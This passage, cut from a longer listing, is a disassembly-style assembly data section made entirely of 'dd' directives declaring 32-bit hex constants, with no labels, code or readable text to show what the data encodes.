7FC998F2h, 7392C21h, 8F700F60h dd 267E911Ah, 0CD81E4FEh, 5E92250Eh, 911A79Ch, 284EB780h dd 30125220h, 7D603A02h, 58315408h, 60523110h, 0FA564A04h dd 1780ACEBh, 0A0C38C57h, 82815EECh, 4020FC04h, 716D6721h dd 747F5050h, 3A190BFh, 42D970Eh, 9309EA4h, 41DF2102h dd 4020EFE5h, 0BB12308Fh, 3C921FC8h, 108C6A52h, 3BC0F7E7h dd 4C08C660h, 327E448Ch, 8A605300h, 8BFD1C1Eh, 0AA282499h dd 2EF98F58h, 0AEC0D3EFh, 8CD5AD74h, 380FDC24h, 73483E9Bh dd 594AC70h, 87A603Fh, 2E3828ACh, 10605700h, 3E99A380h dd 3DBEE6Dh, 2411B315h, 280A6F32h, 8C557175h, 1BE516C0h dd 22154697h, 3ED40003h, 0ABE728E5h, 0E1E96A7h, 8C472680h dd 0B0FD9BB4h, 0D997A3FDh, 0E15C0064h, 0D00671E6h, 4C402B49h dd 1852B8h, 4FE97296h, 1B6536h, 8CA9DF48h, 1EECAE31h, 7C299502h dd 41718D15h, 25101284h, 17181F03h, 0DF90A0Bh, 43D701DEh dd 0C4B7AA1Ah, 70FC22A9h, 17551900h, 6DB41B8Bh, 0B3E33AA3h dd 65011622h, 0BD855510h, 0D3F65Dh, 2AA97A99h, 0B4AE5952h dd 57163001h, 1113197Ch, 0D89A6F3h, 0A863FC96h, 0EB3021F8h dd 0F66E21F8h, 0B0025341h, 0E5AB3357h, 182597E9h, 3CD28807h dd 0A7D6E500h, 8A8723F8h, 3B7500ECh, 1E406D09h, 0FA488D3Ah dd 7F700440h, 4C80AE2Ah, 6C22117h, 55A2C18h, 0F03D2071h dd 0B948E0h, 8BEEEFEh, 0A015FAA7h, 368A1FD8h, 182873CCh dd 48B61230h, 2A3C200Ah, 2E0A428h, 41AE80D8h, 0DC859B1Eh dd 0CFE04C37h, 0C800DD21h, 0EE0C5BAEh, 1232DAEFh, 50E3D48Ch dd 0CF23C45Ch, 1A28B420h, 0C485C08Bh, 54E76080h, 22D7A6A8h dd 120084F6h, 0CD9E97B1h, 2DC56Ah, 0EC287C67h, 200965CFh dd 2583E52h, 1E3FAE7Ah, 10D0316Bh, 0E0AEC2E3h, 27B1011Ah dd 648AA89Eh, 13844368h, 80605FB2h, 8D390219h, 92520A56h dd 8C1EE47Fh, 0F3742C24h, 72028A18h, 2027BC28h, 4CE04C0Eh dd 8138B3Eh, 2D7438B4h, 0DF605600h, 0C93BEDC0h, 50AA02CFh dd 0CAC7FCA4h dd 7A8BB080h, 0A0DF7B9Eh, 0CD239910h, 18551A01h, 0FF18138Bh dd 62B740h, 19C75511h, 7FB66EBDh, 0FCD38C00h, 0B8720D69h dd 0C5E61F36h, 12923F08h, 42104880h, 3BAEC6C0h, 22CB461Eh dd 0CEF700D4h, 4236C7AEh, 56F423A3h, 51B08865h, 0F2FDA898h dd 67A6488Fh, 9DA5820Ch, 4EE2941h, 11D11403h, 2EB68F84h dd 0D4B019h, 0D55B0B6Dh, 0B339F3A3h, 0B60389EFh, 11C0379Ch dd 43DC8006h, 0B9430D0h, 698D424Ch, 36977801h, 0C184410Ah dd 8125718Ah, 0F0A70698h, 90527B9Bh, 0AEC73043h, 908CBCB2h dd 0F8DC44h, 0CA3CAECFh, 0FD387FA8h, 4971AC0Bh, 918C1DB4h dd 91A7807Ch, 0E2B42230h, 4D2104Bh, 730A156Dh, 0BC844C88h dd 187143BCh, 0FE883ACCh, 0B74B1994h, 185348F7h, 19E50918h dd 6C9C4597h, 0E540DE03h, 0C8D4928Eh, 4F078AFh, 67F47D2h dd 882C8E20h, 1E67E3CFh, 0B69981FFh, 0ACC6DD04h, 71009CF0h dd 96D8E3B8h, 0A26326ECh, 0EE09BFD0h, 802A32A8h, 80CE1198h dd 8B19550Fh, 0C0B342EBh, 0F154E663h, 34111DC7h, 16BB40F8h dd 9C72A81Bh, 5A70400h, 29267C54h, 145D5D5Ah, 0BDA4300h dd 1F073157h, 3C4F1329h, 3718FD71h, 75B1A3A0h, 68F49502h dd 0C98A9772h, 8070FEC0h, 635A098Fh, 588116ADh, 25C7B704h dd 88D6F000h, 30B8480h, 41752EDAh, 27C2878Dh, 59E43445h dd 93986E63h, 2104C2FCh, 7928A45Ah, 0C4904FC2h, 9DD8A1A0h dd 7191A510h, 240A19C0h, 0C481F7C4h, 80DF7611h, 8E681B81h dd 6F5B2100h, 0B25C0A47h, 60A005B0h, 80B32297h, 0FD210F50h dd 141C174Dh, 10F0678Dh, 4604A95Fh, 0C19EB479h, 32810ADCh dd 4558B34h, 7C604018h, 1E233DAEh, 7DA117Bh, 0F1AEC4E1h dd 0C342F4F0h, 48E4CCCh, 7209A610h, 701349h, 4989EDA0h dd 60509F8Ch, 446F4928h, 0F27CC9ECh, 6E467105h, 8088738Eh dd 0C766288Dh, 21146C0h, 87C603Dh, 1056313Ch, 605530h dd 690EEB6Fh, 0CDF6C6ADh, 46C14F04h, 80CB1474h, 17015223h dd 3D9718E5h, 8092D423h, 9964C0A8h, 0B6309002h, 829EDFD4h dd 51261BA0h, 8842CE0h, 71871221h, 6DE030F0h, 5C75DF06h dd 6BC34CBDh, 909ECA72h, 0D597D880h, 0C63F10B9h, 15551B02h dd 58C70B8Bh, 55126700h, 314ADB6h, 0FEE52895h, 408F16C8h dd 5E0DC026h, 13909213h, 8F2CCC09h, 1286A87Ch, 3D8D0F7h dd 3E0A3217h, 0F4A28D83h, 0B3FC6F80h, 33CFD0E4h, 0E2910CA8h dd 20F50188h, 0A20387F4h, 69CA4ECEh, 2599508Dh, 260C7848h dd 6647E8Ch, 698896A5h, 90F41300h, 0EA70D45Ch, 0FC10536Bh dd 82C6B903h, 8100A08Ch, 8B7428A5h, 0D654EA72h, 2BAE0AB0h dd 84F38994h, 9C810446h, 51518C8h, 3B8B1355h, 44CBB3h dd 54550C49h, 265A1E4Eh, 1C4C7051h, 60A7C574h, 0B69406C0h dd 0EC91785Fh, 8671BAD0h, 1814BB00h, 0DFD11615h, 4AB912A2h dd 1110C8ACh, 1E00DCE2h, 1C0A93FFh, 0B2793Eh, 5D9E450Dh dd 0ACA7D404h, 0EF295C01h, 0C189F772h, 0BBF2020h, 0D0FEB15Ah dd 6F76B438h, 0D1732074h, 10F8C248h, 305051BEh, 0F6DA408Bh dd 9959EAh, 22F03982h, 0BF8E819h, 5C10007Eh, 77CDDE02h dd 3600AE05h, 0B6784DA3h, 13537227h, 216B97A4h, 0F669DF5Ch dd 0D0864464h, 0F9D1BCB1h, 6900E218h, 0EDB43882h, 2730F5A8h dd 9BFE228Fh, 2D8C421h, 2C778673h, 3E8F060Ah, 0B509BC1Fh dd 6850054Eh, 0F1EF8C05h, 4CE20888h, 65A0905Dh, 9403EE36h dd 0A9B2C12Fh, 68D10024h, 53B59007h, 1500036Dh, 0E0C91150h dd 9E7A0E84h, 52438764h, 0C591DC7Eh, 5EDA2300h, 0DE3B42CCh dd 71E600D2h, 11A90A72h, 370060C7h, 17D3452Bh, 6C1F2838h dd 0F7D9A90Dh, 0F9F07D41h, 0FC0E0B78h, 4D0069B9h, 14515DC3h dd 0B6777601h, 5A6FFF82h, 743041D5h, 326C880Eh, 445DC100h dd 0F61534C4h, 9894007Bh, 81FEBC75h, 88CE1856h, 0F3A408Ch dd 942B197Ah, 9C41805Ch, 0E7F0B363h, 0A7E49200h, 603BF93Fh dd 0D59D0407h, 0CAD81871h, 0B8AC58B4h, 734306h, 785C6608h dd 54A94FD9h, 386B827h, 0ABC4B6B9h, 3100107Fh, 0C9A11147h dd 2D368h, 0D13E8D1h, 3D2641CCh, 10E31704h, 0D0CC2A3Bh dd 5C389629h, 36095946h, 7780B4D9h, 25FE094Bh, 2403F524h dd 2700772Ch, 1F1037CFh, 12081692h, 88108ED1h, 2A0EC07Ch dd 1018BD33h, 28F915F3h, 9AC0A89Fh, 0D6AE0070h, 29A70809h dd 0B00B9EFDh, 847D9227h, 0CB5203B4h, 0CBCEC858h, 0BD89100h dd 192486A3h, 62088877h, 0A9CF0F7Ah, 438F91B8h, 9A293Bh dd 5834396Bh, 6108011h, 6D97153Eh, 3D468004h, 3EAE7902h dd 0DB31631Eh, 0AEC1DE10h, 380076F4h, 0EB931890h, 0FC2AA54Eh dd 132F4AFDh, 165E0BD8h, 6D0AC849h, 61068F60h, 0D3D2229h dd 8F0AC040h, 4CB54C46h, 19922B03h, 83E4CCE4h, 83F490A8h dd 8BC8758Ch, 1031E1EEh, 197D1862h, 448CD870h, 3C0FB96Ch dd 0E9577363h, 6104ED09h, 0D4D0F90Ah, 0B7FA8A9Ch, 0C0040E90h dd 0B3DB8BF4h, 7EF234A2h, 0B0980930h, 4EEE2050h, 8E0028FDh dd 2EF4911h, 78BEA611h, 79F0B160h, 10E18D9h, 1CE272DEh dd 42B19769h, 8C2019C0h, 0C2D3DBFCh, 0BE1DC970h, 0CC9228EAh dd 6156FC84h, 97DCE513h, 0C0B0B91Dh, 5AE53BD1h, 8644C907h dd 0CBF28D1Ah, 0C04604DBh, 4E21514Fh, 2C520E26h, 12603944h dd 972517E5h, 35D896F5h, 203AD8h, 0D9523F5Dh, 7401FD9Fh dd 165DA086h, 0C8FAEC97h, 0A0371104h, 0C79E74h, 5B5FF202h dd 657A228Dh, 48D48A80h, 1C4C091Dh, 51EE017h, 800B39F0h dd 0BD222B30h, 1638B948h, 704075BAh, 5EEC4335h, 81D89CD8h dd 251E5FA9h, 90844562h, 7F5585A0h, 7CB821C1h, 2822E5F0h dd 42D8A27Bh, 14D80034h, 5FA2819h, 740DF356h, 0B524B4C0h dd 102CFE48h, 38C0F7E8h, 6408C760h, 33C07499h, 1AE6050h dd 142EDB68h, 0DC6D1ED0h, 0B49211A8h, 0E3CA9500h, 4EA20B9Ah dd 6A89009Dh, 0D90784A1h, 0F8B010F8h, 1602C146h, 338B1455h dd 66606CD1h, 28C550Dh, 0B48A7211h, 0A8806338h, 999C2A8Fh dd 2700F8B0h, 87BCED5Dh, 5032A75Eh, 1C9B003h, 0A12BB150h dd 0F8D06AAEh, 2401AA94h, 8F9B62DFh, 0F82C9E72h, 78048A0Fh dd 6488583Bh, 2700A894h, 0BB0732B1h, 17B27216h, 4C83697h dd 87A2C6A4h, 0A87FC198h, 0CBDC553Dh, 0C0FCC8C8h, 0F1D87E64h dd 0AC02F8EEh, 8A1CA449h, 0AECA00Bh, 2EF745BFh, 730C2A8h dd 97BB4932h, 430D947Eh, 0F01510E0h, 0E467464Ah, 0CDCF0481h dd 91A52BAEh, 0C02D5108h, 0FE004E3Ch, 188632B9h, 314C62Ch dd 0AEE00734h, 0CEAAB493h, 33206C40h, 0DFF01606h, 1E8AB21h dd 505863B8h, 31B18D10h, 4CDC28D3h, 807C2D64h, 837F0684h dd 9C7D5C36h, 34C432Eh, 6CF15A20h, 0B4732002h, 9E3ECFCCh dd 39222320h, 9150172Dh, 98A5C2D4h, 0AA584987h, 0EA000C72h dd 5EE26831h, 10A0F5BBh, 0C37A153Bh, 57FB1300h, 2BCE6574h dd 2E285F5Fh, 5A2318h, 0F3051440h, 2B31D3C8h, 255A99D1h dd 0E0AE2D0h, 8475A439h, 626D360h, 3D00552Ah, 60799C63h dd 5B45E28h, 14C58BB8h, 0E404F52Dh, 0E35FEC96h, 228F1002h dd 0F9745836h, 80D323E8h, 289C7F90h, 47A60780h, 137A63h dd 0FA5A1150h, 14186591h, 0B49E50B0h, 1CF465Ch, 6EF1C185h dd 64316F33h, 7882A4F5h, 585A728Dh, 0E8B9B864h, 4018FB79h dd 777DCE06h, 98A087D8h dd 165611CCh, 0BDEB1080h, 8BA5771Ch, 88172912h, 5D805791h dd 9C7BA9A0h, 7DBB8002h, 9B5001A6h, 10D5C89Ch, 0B40C0044h dd 1B3DCCB7h, 6D592741h, 7881B924h, 0B74AC418h, 92A5F0B2h dd 13918360h, 5E6A5A6Bh, 0DC90024Ch, 0A888BDBFh, 512204CDh dd 0A10A420h, 0CD798491h, 7F014018h, 2A8B537Ah, 0D0486686h dd 8E7B190Dh, 69F61082h, 699B1224h, 11001216h, 0BF392910h dd 4A38016Ch, 728AC601h, 51C3197h, 88DC8EC8h, 22B3C0CEh dd 0DF1766ABh, 0B840BF35h, 0CD85283Ah, 9FB40111h, 2147E0A0h dd 84B84E94h, 0AF307305h, 0C40D028Dh, 0E9C7FB23h, 0ED20F982h dd 14E8CCBBh, 0D70E5836h, 599689BEh, 0B069F740h, 8AA31607h dd 0C00DB8Fh, 0B65BD61Eh, 7A1738DFh, 6B4F6021h, 0C9ED1000h dd 9DE8A169h, 0B7FF086Ch, 36B6DE60h, 2E9E3875h, 45903800h dd 14113A28h, 46761096h, 7E34015Ah, 4B36A344h, 72F180CDh dd 2E2B873h, 883B833h, 0C0AA257Fh, 9A8C48C0h, 31C8509Dh dd 8DD17DEEh, 0B92460B8h, 0A58109F8h, 99A564E1h, 59E4C045h dd 0A2FA7D60h, 0EBA04A02h, 0A88B7E85h, 0C309C9D4h, 482C49C0h dd 0D31E0474h, 0C8008BB9h, 0AFE8C301h, 0A45A2BC2h, 0CBB2BE00h dd 45C6FF87h, 0D28977F0h, 0C458CB81h, 3F3071BAh, 8100AB7Ch dd 0F0D058Ah, 1FAA67DBh, 6C468CA7h, 807932B4h, 9200C472h dd 93710918h, 2A1679h, 0DA661BE4h, 0EFE8AFB4h, 0F706B805h dd 0CC16BA2Dh, 43D43605h, 0B8F20895h, 0CB7FDF1h, 0C5C200D8h dd 1185DA6Ah, 8F258884h, 379080F2h, 0D31E72B4h, 23903A50h dd 0F8110057h, 2FBC0DEDh, 96194F1Eh, 0F9AB284Ch, 3D6478B2h dd 80001D7Dh, 0CD5CD9B8h, 0B4947F2Dh, 3A41FE80h, 0EBCC23F4h dd 400058EEh, 0BE2643D9h, 0D419C5Ah, 5CEE988Ch, 1465CD0h dd 80F2317h, 8785D3A0h, 0EF00B56Bh, 0C7A70538h, 39F074h dd 606E78D4h, 93BB7CCCh, 553AD3Ch, 71992411h, 418BDC88h dd 0D74C29A5h, 358000DAh, 0DCF7E3E9h, 43B48C16h, 0ACA3A080h dd 0F14046Ah, 0F4A88FAAh, 4F00BC08h, 993670B3h, 1EA5DC3h dd 1B5CF2C5h, 0F4E2F6CEh, 42183C0Ah, 0B8E92511h, 0B497958Fh dd 7C9A7F91h, 0D100FCD2h, 0A8E2793h, 28019FAh, 54131AFBh dd 0FCE8782Bh, 689E9FA5h, 3910AA8Ch, 3D070026h, 92DECFF1h dd 2500AD04h, 4E813FD3h, 11F0AFC5h, 7EF6B6h, 9C9A7CAEh dd 8E1C01h, 0DAE5B4D7h, 1796E1AFh, 5CAB413Eh, 84212458h dd 0F84674h, 1E35EB08h, 25B98D86h, 0F01720F2h, 60B81488h dd 627A8BA4h, 7C0F504Eh, 89A7E5DDh, 52AA3888h, 2800D808h dd 0EC5B70EEh, 0DA2A6D19h, 0D49CCC9Ch, 0BB5102DCh, 0F5DF5E6Ch dd 8D18DC68h, 2ECEE3A1h, 712E8044h, 0E506C51Fh, 23342B08h dd 61E905D4h, 0A1E4B3F7h, 0D80CB817h, 0E8FE1201h, 2A728D8Fh dd 60006C28h, 0B7CF499Bh, 85CB866h, 8CD9BC80h, 0EE463400h dd 0A7F0EDCFh, 0E7950076h, 11AB0E59h, 0C91FE7Ch, 0D618FFD1h dd 0E08BD0Fh, 0FD0F8166h, 8CCC3F4Bh, 7A8D0B79h, 40E865E2h dd 70BCA903h, 1FC4676h, 3E12C845h, 0FEEC8322h, 5875F6D8h dd 0A217C4E6h, 81508004h, 14BA0FE8h, 465CE496h, 0FA30057h dd 6D153BA8h, 76212BAh, 0A4B4029Bh, 7478BBB4h, 7606C612h dd 5E204F2h, 88B0032h, 4DED69Fh, 0E96D111Fh, 816CAC82h dd 165092B7h, 0B392C0BDh, 4860F0FBh, 0F0E61544h, 6D8E26F6h dd 0BB215E98h, 0B6938371h, 0D6988396h, 14EEEFD4h, 0D8D56FFAh dd 80E880B0h, 72AE8D0Bh, 40A4B68Bh, 18352694h, 0EEC67A01h dd 2C92BEA5h, 1490032Ah, 3AB57EE3h, 175A23BCh, 2D00BBB4h dd 0AC4687A8h, 0DCF0B4F4h, 40BDDE00h, 0BFECB70Ch, 41D8C2CBh dd 1C720A7Eh, 0EF50E200h, 29FC5616h, 0B14202AEh, 2B108B45h dd 0DC87A054h, 5987CB8Eh, 8F6D7A11h, 58CCD3CAh, 0E316CE27h dd 500462FEh, 380BD86Bh, 6AE2E018h, 0C98D010Fh, 8E72A48Bh dd 79243CA8h, 97A703F4h, 0E04A23E4h, 7F23F02Fh, 8804F317h dd 2902C089h, 3078D122h, 0DA970A13h, 186F68C1h, 810918Bh dd 0DC625C12h, 0DCB65400h, 0C0C2AA43h, 0F91F76A5h, 18577908h dd 0C76D00BFh, 0B604B9FCh, 3606AFFFh, 3891A7BBh, 8A8424E9h dd 82E24E88h, 60E4103Ch, 757F8E02h, 0E95DAD43h, 0BC14E62Ch dd 8C01BCCCh, 56495A0Ah, 0C00382Bh, 693930ACh, 97722F8Eh dd 0CF91041Fh, 58DD5080h, 8CE8FB25h, 973DA027h, 80DA9134h dd 7DD8FDEEh, 2C94FCC8h, 0DE00E566h, 7A971D01h, 92FF93EBh dd 40A6C464h, 5D59DA4Ch, 34843DBCh, 6CB239E5h, 4530DCF2h dd 0E4AF0F0Fh, 0EE0076Ch, 71CD7E4Fh, 46764496h, 5C3D3F08h dd 5A2904A2h, 34FCFF89h, 6B5EE039h, 0E0D500D0h, 2B9AE735h dd 8D810025h, 18998C60h, 0AA12EE2Ch, 0C8F056A7h, 75851F15h dd 72F8C0C1h, 5DB034DFh, 9E00A87Bh, 6B97482Ch, 25A746h dd 0CBEED5ABh, 8E8C8B6h, 24BE313Ah, 0C3C201Bh, 11C49674h dd 10576A8h, 27045E1Ah, 982C47B2h, 8521AF08h, 6C40F1Dh dd 0BBE061DCh, 5C81E9B6h, 11EDDF0h, 0D114F02Bh, 52550E08h dd 0C2A30083h, 67A0D653h, 0C2BF18BEh, 720009B3h, 67FF631Bh dd 11C860EDh, 406CF37Ch, 6BC352C4h, 0C2084766h, 742D0021h dd 951AFEF3h, 9B00103Dh, 600F2E6Ah, 0C8D54271h, 21CF6D50h dd 4F536EF3h, 2B20D619h, 3FF34Ah, 0C1A770Ah, 66D88246h dd 5FA8DA50h, 0AFAE5714h, 0F8E3EA0h, 83308D53h, 6413A2FFh dd 606C7040h, 236DF37Dh, 0C4117753h, 0F3752A00h, 56B26201h dd 160F830Fh, 9A0E40C2h, 54B3B86h, 2352357Bh, 0D990023Eh dd 0DC80A980h, 8B53B51Bh, 0EB182F60h, 0A0C168DEh, 15C1DA8h dd 0CCC70BABh, 9FBE06F5h, 0E50F1031h, 0F097036Ch, 3B190007h dd 82030465h, 0EC19A369h, 3D08719Ah, 6D5A2180h, 0C20DFB04h dd 6B042F76h, 155D806h, 76C08241h, 629043CCh, 3C84C1F8h dd 0D486570Ch, 1AF90A9h, 6D8AE609h, 424B1A97h, 5C20D890h dd 0E24CB479h, 544A00C0h, 70B2B864h, 93032907h, 4D080697h dd 308866Dh, 1B135561h, 0BED1586Fh, 19644893h, 82210477h dd 6146C009h, 2600FF04h, 884AFA0Fh, 0C5F5E0Eh, 0EED44922h dd 0A7145D50h, 500853C1h, 0E18C4B88h, 465E65D8h, 30AD222Ch dd 0E4201888h, 37FADB02h, 28F94401h, 0A7E13C42h, 8C607024h dd 69F37902h, 16519753h, 0F3712E00h, 0EC59FA0h, 15AD0287h dd 37830A34h, 0DB6DFC81h, 0A2DC23B0h, 3D0C30D3h, 72D80E0Fh dd 10E20950h, 38AB702Ch, 5F803E0Fh, 0E7F17DDEh, 1F0A8951h dd 0A80DF357h, 20494F80h, 2CF8693h, 6E75B4ECh, 0F0800867h dd 667D3BD8h, 0C9DDFE30h, 0D13370h, 94EEDC3Dh, 0F975CA90h dd 0E0CE5207h, 9D5091BCh, 480B6660h, 53095D8Bh, 202704B6h dd 119C8A14h, 0F3788067h, 8C9F5368h, 11C144h, 95D7F370h dd 0BF5CC546h, 0DCA26124h, 0F6201801h, 9C5234D1h, 0D8073176h dd 74465E18h, 8302D022h, 15EAC41Fh, 5BD94082h, 0D36D1247h dd 961849D1h, 4644830h, 61820211h, 45893388h, 80BC0E6Ch dd 61D0B896h, 9DF0063Dh, 0F014BEC7h, 97E18F3h, 6F536AF3h dd 2F265C9Ch, 0F41F9476h, 36D591C0h, 60C2C102h, 6FC9E8D2h dd 80A0A7F2h, 0F4A8A8E2h, 0E0002BF4h, 55330398h, 21C1EE4h dd 0FEFCDF1Fh, 0F00309A6h, 7EB1041Ah, 9026FA3Dh, 0B289D964h dd 0E2812C99h, 0D5A6F885h, 0D118708Ch, 6E19D998h, 7128BD6Fh dd 4CE10430h, 0A70C417Bh dd 7890B1C9h, 972A2B0Bh, 3700090Dh, 9B2A87D8h, 0CE098018h dd 0C735929Ah, 0E80420EBh, 0C0050F9h, 0C36FD89Bh, 976D91C9h dd 80319184h, 5CFE209Ch, 4B9130A7h, 0ACF88458h, 2048C58h dd 7987D9C8h, 2B8C80C7h, 0C52A1F0Ah, 48A7F3D8h, 18C0923Ch dd 46820604h, 1362201h, 0C4046041h, 24D894FBh, 0EC009544h dd 11867A69h, 5BAFEBh, 8AF8668Eh, 42F729C1h, 0D4E7C528h dd 23C88489h, 30C4A228h, 34008CC7h, 9E75DD27h, 0FF53E31Ah dd 0CC20B7C1h, 918E6A95h, 0AE4674A4h, 1CC53F1Eh, 6F58C217h dd 0A49B30C0h, 8982916h, 0CD16C004h, 0C5A9D900h, 575C691Ch dd 88DE305Ah, 0A2475E1Eh, 61C800CBh, 0C0B1C2Bh, 0E6C8529Ah dd 0E4997D48h, 8C18D279h, 7531F406h, 19C195h, 5EE9C5A2h dd 0AF793673h, 6017FDFEh, 6804EC2Ah, 8007A668h, 32089104h dd 0C93983D7h, 165D0A5Fh, 6D1FA0h, 0C334EB64h, 0FEE28CCCh dd 0D4076E45h, 0F373C068h, 4743536Fh, 0C04B2884h, 86B74A74h dd 5E0E3E78h, 0E6532B05h, 2690B244h, 60DCC7CEh, 0DBE567DCh dd 52668501h, 779045D0h, 0C5A24C63h, 7A0F30h, 6F1A8A59h dd 7BE3346Bh, 32177990h, 5845353Bh, 0C008E5D1h, 6103C74Ah dd 23145E64h, 60878E10h, 55DC7AC4h, 65162603h, 42A11231h dd 0A6DECB0Ch, 0F6569840h, 0A40F1100h, 1DDF6E2Fh, 0FBD901B3h dd 0C43B3142h, 0F25023C1h, 0F3CF30D1h, 0BD716603h, 180D2F5Bh dd 89B786D1h, 23302A35h, 0C455181Ah, 84080617h, 49DB9496h dd 0F006AF4h, 47C6536h, 0EB0BABFh, 0F0062F82h, 1D6C0456h dd 5EA4C8E3h, 7FAD6C00h, 7CC6B35h, 883683Dh, 9473007Ch dd 0FE6045ADh, 9BC4EE54h, 0F78F3C00h, 0F010258Eh, 306C4C8Ah dd 0C38C3FBCh, 17354D64h, 9D65DD98h, 0BCBB8F09h, 0E4184580h dd 0B4CC6037h, 8700B967h, 3088AAC3h, 32946018h, 77A50200h dd 7E429A46h, 0F6157AE5h, 0B4182069h, 28C0156h, 357BAD68h dd 0C75A304Bh, 907780h, 9BD2BDADh, 1DF73E2Ah, 0B9920B04h dd 78B5BFC8h, 8C98BC20h, 11046638h, 32887182h, 46E5B80h dd 1376D46h, 0B524EDCFh, 40219B33h, 0D4B1E9F8h, 50B0DA48h dd 34400310h, 0FC1A4CB8h, 14367F10h, 23F46A8Eh, 0AD69011Eh dd 18733578h, 917088A6h, 0D77CAD01h, 0FF81EACBh, 48EE05C8h dd 87FB077h, 3E6F322Bh, 1D5F0600h, 6B666DD8h, 443740BCh dd 0B142C380h, 162185h, 0CA8E4617h, 0F2BED8D5h, 0DCBF20F1h dd 0D0327C91h, 8A6D311Ah, 689335B0h, 0AD95E853h, 0B04A003Ch dd 42B3845h, 81C709F3h, 8FC0D780h, 0CF2D13h, 0BA96D55Ah dd 0FFFD5048h, 0E8D4EC58h, 0F53B8C3Ch, 99B40032h, 556A486Bh dd 0A4FC28DEh, 4694A6D8h, 41F0291h, 9C398209h, 67400094h dd 3C28CA04h, 2C267792h, 70116CE6h, 9D6098Eh, 10656448h dd 0C4018183h, 5F89E8DAh, 13D2F8BCh, 6F6F8550h, 7C1500C0h dd 0C0E2954h, 5C6B044Ch, 86A1F5BFh, 0D817A078h, 3C3F7250h dd 4E003F23h, 0AD7D03AFh, 8DE603E7h, 0C0C41623h, 8647D101h dd 0BF17208h, 0F80632F0h, 0EE7A0312h, 0C65981D9h, 0BC742849h dd 67840CBEh, 4E910EF0h, 8071F901h, 0BD5662D9h, 7B4498E7h dd 2E201782h, 6D1000CAh, 0EE2A610Bh, 0BB8C0E00h, 0AF06ABF1h dd 10A14A44h, 0C0E8B464h, 2FBA0E8Ch, 99FD4450h, 0E1E79134h dd 0C402CC4Bh, 0C781A50Fh, 3D7C07Fh, 2822FD54h, 25C897F9h dd 3CA2A8D1h, 0FF07CBD6h, 3361BCh, 3DDA01B7h, 0D96C2BD7h dd 1B818379h, 237C98EBh, 35B61362h, 188C08C4h, 72AD6FC1h dd 0BC2383F9h, 0AD977E80h, 0A201B62Dh, 5BB4F224h, 1C3026FBh dd 44575A27h, 46BF3000h, 0B9992AFFh, 18DC79C4h, 20084CD3h dd 96120F01h, 23A85C1Ch, 3036A2B4h, 14987A73h, 7CF35529h dd 0CD18A771h, 0CB81F301h, 0DC6630C0h, 0C9B7BC43h, 989F4458h dd 0F9C7190Bh, 0E28C6847h, 19751994h, 4E8AFB06h, 86B02C1Ch dd 5DC41A00h, 0A8D6CDA6h, 474B4ADh, 0B30CCB42h, 30C7B274h dd 2101287Bh, 98833F92h, 0D9E4E21Ch, 0D25E05ACh, 132BF0Ah dd 18D65330h, 0B4B068A4h, 0C4B2A4B2h, 0FE7F30h, 6B67E5E7h dd 0D938BB27h, 0D884D000h, 872D1BA9h, 60D61855h, 0A3370D7h dd 803B4F20h, 861932A4h, 0D1719891h, 8809FE18h, 909560ADh dd 666C33Ch, 1623F16h, 0AB217009h, 18519124h, 0A2C9EFE0h dd 0B384033Ch, 42F88D88h, 6A0880CCh, 963B9A0Eh, 30D0C821h dd 55621922h, 3032F414h, 0D5582B67h, 4432AEDBh, 0C1535173h dd 2900BF28h, 485B575Ah, 0DF23603Bh, 0E2073602h, 0E96048B4h dd 900A00EAh, 0CA75D997h, 64A20F79h, 0AE14B402h, 97E6BF02h dd 80C11138h, 92C3344h, 1A713DCh, 4E64904Ch, 208434DBh dd 1E00C226h, 0A3F39946h, 19A2ECCh, 0B2E9648Ch, 406D664Eh dd 613A584h, 841C0FE0h, 638057Ch, 169DB58Bh, 368D711Ah dd 180C1B21h, 0B01F2D20h, 0B232C3F4h, 55806A44h, 3EDC03E8h dd 0C35D2007h, 246C8920h, 44813304h, 21001708h, 7BC35545h dd 0D598FBCh, 21D98D29h, 0CB1B4056h, 145299CFh, 3019E22Bh dd 2B017363h, 0F91435Fh, 1F961A82h, 0D701856h, 0B4002C51h dd 9453EA9Dh, 0DF6F66h, 0AA1C3DB5h, 15E23225h, 0C75E5F00h dd 6B340441h, 8BCE2670h, 1012304Bh, 3118D6D7h, 0EB5307E8h dd 0EF3F00BBh, 1A8528Fh, 0A0A93D8Dh, 66C89B5Fh, 9185DA3Eh dd 0BADB31A6h, 0E8900119h, 0D94B8F0Fh, 570E0D8h, 0FD6FF4h dd 0E1738149h, 0F4D5212h, 2BC6B7B8h, 0B0EE9h, 1253E8E6h dd 0DE37195Ch, 701E51E6h, 5F4C7366h, 50FB7E50h, 40E5E090h dd 951BFF09h, 2B0C1179h, 0EB556A2h, 8944C35Eh, 463874h dd 7D59C356h, 334212F1h, 0B9666007h, 0C35F7CA7h, 714E958h dd 52E2712Dh, 8741D07Dh, 0AF3C1159h, 64BB80E8h, 4693B53Dh dd 61093850h, 949936C9h, 0C5591851h, 224C8974h, 4124164Ah dd 89D382C0h, 0D44E9060h, 80186C17h, 81660D05h, 4911F715h dd 0E91240EDh, 0C80B0960h, 1DE5775h, 0E001A639h, 20C00B63h dd 28A04A8Eh, 0AADCFABFh, 0E9294F90h, 338500C9h, 2ECA724Ch dd 0BC691200h, 74EFDE15h, 29A402FEh, 0B8C3B2F6h, 0F18B48A0h dd 0A193E1FFh, 0D065F079h, 53239C0Ah, 44C35B0Eh, 15625C89h dd 0C3534320h, 662A05FCh, 1B9C0BEh, 0AA727C9Fh, 88274B44h dd 0FB2EC01Dh, 0FD0F0AB9h, 42557036h, 92830FC9h, 0F3B2B8h dd 9589F982h, 2D2B4D35h, 153CCE40h, 68CE7875h, 3749BFACh dd 5048D9D6h, 0C3725818h, 11448923h, 50400E1Bh, 2C93E0C3h dd 14BDC99Eh, 0B531831Ah, 0BC352321h, 810FEB60h, 9243DD1Fh dd 0E899228Eh, 0D3051244h, 0F896D8C9h, 315D2EC0h, 0ECA200B8h dd 0A67F8D51h, 0E606BEBFh, 10E9505Eh, 0A23D0035h, 0B7418C3Fh dd 0A0F18E7h, 82E6F416h, 7D8D308Fh, 0C183B74h, 3CCF0231h dd 0C1071164h, 0F21CB7C0h, 0FA45FA34h, 3958B02Bh, 240B4C3Ah dd 0D941AD38h, 884022F3h, 0C35AC352h, 4A548991h, 72422C2Ch dd 4353E704h, 1A23DC98h, 54304DBDh, 0E51DD7BAh, 5B801411h dd 0D61BD8Bh, 88EB52D4h, 60F8925Fh, 0A59D89E9h, 0D70C0E6Ah dd 15D93C21h, 224C3218h, 70622DBh, 0FAABE681h, 0FD080951h dd 1A465C2Bh, 26C3517h, 0A223BDA9h, 2591C094h, 65181C71h dd 